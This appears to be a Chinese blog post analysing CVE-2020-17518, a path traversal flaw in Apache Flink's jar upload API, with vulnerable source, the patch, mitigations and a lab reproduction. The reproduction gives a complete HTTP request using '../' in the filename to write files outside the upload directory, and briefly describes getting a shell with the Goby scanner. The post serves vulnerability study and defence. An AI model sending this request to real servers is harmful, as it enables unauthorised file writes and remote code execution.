CVE-2020-17518源码分析与漏洞复现(Flink 路径遍历)

漏洞概述

漏洞名称 :Apache Flink REST API 任意文件上传漏洞
漏洞编号 :CVE-2020-17518
CVSS 评分 :7.5
影响版本 :Apache Flink 1.5.1 - 1.11.2
修复版本 :≥ 1.11.3 或 ≥ 1.12.0
漏洞类型 :路径遍历导致的任意文件写入
根本原因 :REST API 处理文件上传时未对 filename 参数进行路径规范化校验,导致攻击者可通过 ../ 实现目录穿越,将文件写入任意路径。


技术细节与源码分析

1. 漏洞触发原理

攻击者向 Flink 的 /jars/upload 接口提交恶意构造的 multipart/form-data 请求,在 filename 参数中注入路径遍历序列(如 ../../../tmp/pwned),绕过安全校验将文件写入非预期目录。

2. 关键源码定位

漏洞类 :org.apache.flink.runtime.rest.handler.job.JarUploadHandler
漏洞方法 :handleRequest()

java 复制代码
// 源码路径: flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/job/JarUploadHandler.java  
@Override
	protected CompletableFuture<JarUploadResponseBody> handleRequest(
			@Nonnull final HandlerRequest<EmptyRequestBody, EmptyMessageParameters> request,
			@Nonnull final RestfulGateway gateway) throws RestHandlerException {
		Collection<File> uploadedFiles = request.getUploadedFiles();
		if (uploadedFiles.size() != 1) {
			throw new RestHandlerException("Exactly 1 file must be sent, received " + uploadedFiles.size() + '.', HttpResponseStatus.BAD_REQUEST);
		}
		final Path fileUpload = uploadedFiles.iterator().next().toPath();
		return CompletableFuture.supplyAsync(() -> {
			if (!fileUpload.getFileName().toString().endsWith(".jar")) {
				throw new CompletionException(new RestHandlerException(
					"Only Jar files are allowed.",
					HttpResponseStatus.BAD_REQUEST));
			} else {
				final Path destination = jarDir.resolve(UUID.randomUUID() + "_" + fileUpload.getFileName());//未过滤路径遍历字符  
				try {
					Files.move(fileUpload, destination);//  执行文件写入
				} catch (IOException e) {
					throw new CompletionException(new RestHandlerException(
						String.format("Could not move uploaded jar file [%s] to [%s].",
							fileUpload,
							destination),
						HttpResponseStatus.INTERNAL_SERVER_ERROR,
						e));
				}
				return new JarUploadResponseBody(destination
					.normalize()
					.toString());
			}
		}, executor);

漏洞点分析 :
1.fileUpload.getFileName()

  • 直接使用用户输入的原始文件名(如 ../../../evil.jar)

  • 未进行路径过滤或规范化处理

2.jarDir.resolve() 路径拼接

  • resolve()方法会将用户输入路径与系统路径拼接

  • 攻击者可构造 ../../etc/cron.d/pwn 实现目录穿越

3.Files.move() 文件写入

  • 无权限校验,直接写入目标路径

  • 服务进程通常以高权限(root)运行,可覆盖系统文件


3. 官方修复方案

修复提交 :a5264a6f4152
修复代码:

java 复制代码
// 修复后:使用 getName() 剥离路径信息  
String fileName = new File(fileUpload.getFilename()).getName(); // 仅保留文件名  
Path dest = Paths.get(uploadDir).resolve(fileName);  

修复效果:

  • getName() 方法提取文件名(如 ../../pwn.txt → pwn.txt),阻断目录穿越。
  • 增加路径规范化逻辑,拒绝包含 .. 的输入。

漏洞复现

环境搭建

1.使用 Vulhub 环境启动漏洞靶机
bash 复制代码
 docker-compose up -d 
2.访问访问 http://target:8081,确认服务正常运行

攻击步骤

上传文件
1.发送如下数据包,即可上传一个文件到目标服务器的 /tmp/success 位置:
http 复制代码
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
2.进入容器中验证
bash 复制代码
docker exec -it 容器id  /bin/bash
  • 上传成功
getshell
1.下载工具Goby
2.打开工具扫描靶机
  • 发现漏洞
3. 验证漏洞
4.成功getshell
  • getshell的原理应该是通过拼接路径,上传恶意jar包到/tmp/flink-web-*/flink-web-upload/目录下,即可执行反弹shell的命令。
  • 相比通过Submit New Job处上传jar包,通过利用CVE-2020-17518漏洞上传的jar包,并不会在前台显示,因此具有一定的隐蔽性。

修复与缓解建议

  1. 官方升级:升级至 Flink ≥ 1.11.3 或 ≥ 1.12.0。
  2. 临时加固 :
    • 禁用未使用的REST API(如 jobmanager/jars/upload)。
    • 部署WAF规则拦截 filename 中的 ../ 或空字符(%00)。
  3. 权限控制:以低权限账户运行Flink服务,限制目录写入范围。

总结

CVE-2020-17518 的根源在于 路径解析与用户输入的信任失衡 。其利用链清晰展示了未过滤的用户输入如何通过路径遍历转化为RCE风险。修复需从代码层强化输入校验(如 getName() 剥离路径),并结合运行时防护(如权限最小化)。该漏洞的广泛利用(如Mirai僵尸网络)凸显了中间件安全在云原生架构中的关键性。


参考链接

  1. CVE-2020-17518 漏洞修复提交记录
  2. 漏洞原理与利用链分析(FreeBuf)
  3. 从文件上传到一键GetShell实战(天达云)
  4. Windows环境复现指南(FreeBuf)
相关推荐
A小码哥4 小时前
大模型成本怎么降,5 个动作先做前两个
java·前端·spring
鬼手点金4 小时前
构建有效 Agent 的核心原则
java·人工智能·git·学习·自动化
神魔皆以血嗜5 小时前
Java 实现简单状态机(订单状态流转)
java·后端
随性而行3605 小时前
企业微信 API 如何实现业务消息自动通知?接口应用场景解析
java·人工智能·后端·微信·机器人·企业微信
姜九笙5615 小时前
python学习---归来仍是新人
java·python·学习
HEJOO95 小时前
Java 并发运行中的安全问题详解
java·开发语言
2601_962106645 小时前
【无标题】
java·idea
汉吉龙测控技术5 小时前
激光对中仪作用介绍(AS 激光对中仪)
java
Wang's Blog5 小时前
Java 项目实战: 交友项目 - 完善用户信息章节复盘:套路清单与自检清单
java·dubbo·交友
用户3126874877205 小时前
Java 11-21 新特性盘点:var、record、sealed、虚拟线程
java